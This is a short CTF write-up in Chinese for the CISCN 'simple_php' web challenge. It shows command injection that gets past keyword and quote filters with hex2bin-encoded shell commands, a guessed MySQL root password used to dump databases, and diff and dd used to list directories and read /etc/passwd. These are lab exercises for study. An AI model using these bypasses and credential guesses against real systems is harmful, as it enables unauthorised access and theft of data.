ciscn writeup

web

simple_php(复现)

解法一

比赛的时候一直在尝试其他命令,看了wp才发现能用php -r ‘代码’来执行php语句或者系统命令

与此相似的还有php -i可以查看phpinfo等等

但是由于题目过滤了许多关键字,我们可以利用hex2bin转码绕过过滤

hex2bin(‘语句’); 但是由于过滤了引号,使用substr截取一个字符(这里是下划线),剩下的就会被识别为字符串

hex编码 ls / -> 6c73202f

1
php -r system(hex2bin(substr(_6c73202f,1)));

命令成功执行

之后找了一圈没发现flag,ps -def指令可以查看进程

ps -def -> _7073202d646566

其中看到了mysql,flag应该在数据库中

直接猜账户root密码为root, -e执行sql语句

1
2
mysql -u root -p'root' -e 'show databases;'
cmd=php -r system(hex2bin(substr(_6d7973716c202d7520726f6f74202d7027726f6f7427202d65202773686f77206461746162617365733b27,1)));

有PHP_CMS information_schema mysql performance_schema test这几个库

1
2
3
4
echo `mysql -u root -p'root' -e 'show databases;use PHP_CMS;show tables;'`
#注意sql语句用反引号执行
#结果Tables_in_PHP_CMS F1ag_Se3Re7
echo `mysql -u root -p'root' -e 'use PHP_CMS;select * from F1ag_Se3Re7'`

拿到flag!

解法二

没有ban掉diff和dd,可以使用diff读目录,dd读文件:

读根目录

1
diff --recursive / /home

发现根目录没有flag。

读特定文件:

1
dd if=/etc/passwd

没有flag,但是发现了mysql,猜测账号密码root

1
mysqldump -uroot -proot --all-databases

__END__